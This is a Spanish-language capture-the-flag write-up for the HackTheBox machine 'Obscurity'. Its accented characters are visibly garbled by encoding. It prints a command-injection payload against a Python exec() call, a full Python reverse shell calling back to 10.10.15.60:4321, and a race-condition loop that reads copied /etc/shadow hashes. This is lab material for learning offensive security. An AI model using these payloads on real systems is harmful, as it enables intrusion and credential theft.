Sigo publicando soluciones enviadas para su posterior procesamiento desde el sitio de HackTheBox .En este art铆culo, aprovechamos una vulnerabilidad en el c贸digo de Python y tambi茅n realizamos un ataque de condici贸n de carrera.La conexi贸n al laboratorio es a trav茅s de VPN. Se recomienda no conectarse desde una computadora de trabajo o desde un host donde los datos importantes para usted est茅n disponibles, ya que ingresa a una red privada con personas que saben algo en el campo de la seguridad de la informaci贸n :)Informaci贸n organizacional, ,
Telegram . , ,
.
. , - , .
Recon
Esta m谩quina tiene una direcci贸n IP 10.10.10.168, que agrego a / etc / hosts.10.10.10.168 obscurity.htb
Primero, escaneamos puertos abiertos. Como lleva mucho tiempo escanear todos los puertos con nmap, primero har茅 esto con masscan. Escaneamos todos los puertos TCP y UDP desde la interfaz tun0 a una velocidad de 500 paquetes por segundo.masscan -e tun0 -p1-65535,U:1-65535 10.10.10.168 --rate=500
Ahora, para obtener informaci贸n m谩s detallada sobre los servicios que operan en los puertos, realizaremos un an谩lisis con la opci贸n -A.nmap -A obscurity.htb -p22,8080
El host ejecuta el servicio SSH y el servidor web. Vamos a ver la web.
Por lo tanto, tenemos:- Servidor de grabaci贸n
- Cifrado utilizado
- El c贸digo del servidor en el archivo SuperSecureServer.py en alg煤n directorio desconocido.
Como sabemos el nombre del archivo, veamos el directorio. Hag谩moslo con wfuzz. Como par谩metro, pasamos el diccionario, la URL y el c贸digo de respuesta para que se ignoren.wfuzz -w /usr/share/dirb/wordlists/common.txt -u http://obscurity.htb:8080/FUZZ/SuperSecureServer.py --hc 404
Y encontramos este directorio. Descarguemos el c贸digo del servidor.wget http://obscurity.htb:8080/develop/SuperSecureServer.py
Punto de entrada
Abrimos y analizamos el servidor. Encontramos un uso potencialmente peligroso de la funci贸n exec ().
Agreguemos algunas l铆neas al c贸digo.
Entonces, podemos iniciar el servidor localmente y ver qu茅 entra en la funci贸n exec (). Comencemos el servidor y enviemos una solicitud.curl http://127.0.0.1:33333/asd

curl "http://127.0.0.1:33333/asd'"

curl "http://127.0.0.1:33333/asd''"
Por lo tanto, tenemos la inyecci贸n del comando OS.curl "http://127.0.0.1:33333/asd';os.system(\"whoami\");'"
Utilizaremos el siguiente shell de python inverso.import socket,subprocess,os;
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);
s.connect(("10.10.15.60",4321));
os.dup2(s.fileno(),0);
os.dup2(s.fileno(),1);
os.dup2(s.fileno(),2);
p=subprocess.call(["/bin/sh","-i"]);
Dado que el c贸digo del servidor ya contiene la importaci贸n de los m贸dulos necesarios, eliminamos su importaci贸n del shell. Tambi茅n escapamos de las comillas y corchetes.curl "http://127.0.0.1:33333/asd';s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"10.10.15.60\",4321));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(\[\"/bin/sh\",\"-i\"\]);'"
隆Multa! Todo funciona en la m谩quina local. Ejecutemos esta solicitud al servidor.curl "http://obscurity.htb:8080/asd';s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"10.10.15.60\",4321));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(\[\"/bin/sh\",\"-i\"\]);'"
Tenemos un punto de entrada.USUARIO
Buscamos en el servidor y encontramos archivos legibles en el directorio de inicio del usuario.
Leemos archivos
Por lo tanto, los archivos est谩n encriptados. Descargue todo lo que se nos da al host local. Como se indica en el mensaje, el archivo check.txt est谩 encriptado y el resultado est谩 en out.txt. Veamos el algoritmo.
Por lo tanto, durante el cifrado, se produce la adici贸n del s铆mbolo de texto y el s铆mbolo de clave m贸dulo 255. Al descifrar, estos s铆mbolos se restan.Es decir, ([check.txt] + [clave])% 255 = out.txt y ([out.txt] - [clave])% 255 = check.txt. Entonces ([out.txt] - [check.txt])% 255 = clave.
Y mira la llave.
Y ahora en esta clave desciframos la contrase帽a del usuario.
Nos conectamos a trav茅s de SSH con esta contrase帽a y tomamos la bandera del usuario.
RA脥Z
Veamos la configuraci贸n de sudo, es decir, si el usuario robert puede ejecutar cualquier comando bajo sudo sin contrase帽a.
Veamos el c贸digo. El c贸digo requerir谩 datos de autenticaci贸n. Luego copia el contenido del archivo / etc / shadow en el directorio / tmp / SSH / *. Luego verificar谩 los datos de autenticaci贸n y eliminar谩 el archivo.
Por lo tanto, debemos lograr copiar el archivo desde / tmp / SSH / * antes de eliminarlo. Ejecute el segundo terminal y ejecute un ciclo de lectura sin fin en 茅l.for ((;;)) do cat /tmp/SSH/* 2>/dev/null && break ; done
Ahora ejecute el programa, ingrese cualquier dato y vea los hashes.sudo /usr/bin/python3 /home/robert/BetterSSH/BetterSSH.py
Y se rompen f谩cilmente.
Tomamos la bandera de la ra铆z.
Puedes unirte a nosotros en Telegram . All铆 puede encontrar materiales interesantes, cursos combinados, as铆 como software. Formemos una comunidad en la que haya personas con conocimientos en muchas 谩reas de TI, para que siempre podamos ayudarnos mutuamente en cualquier problema de seguridad de la informaci贸n y TI.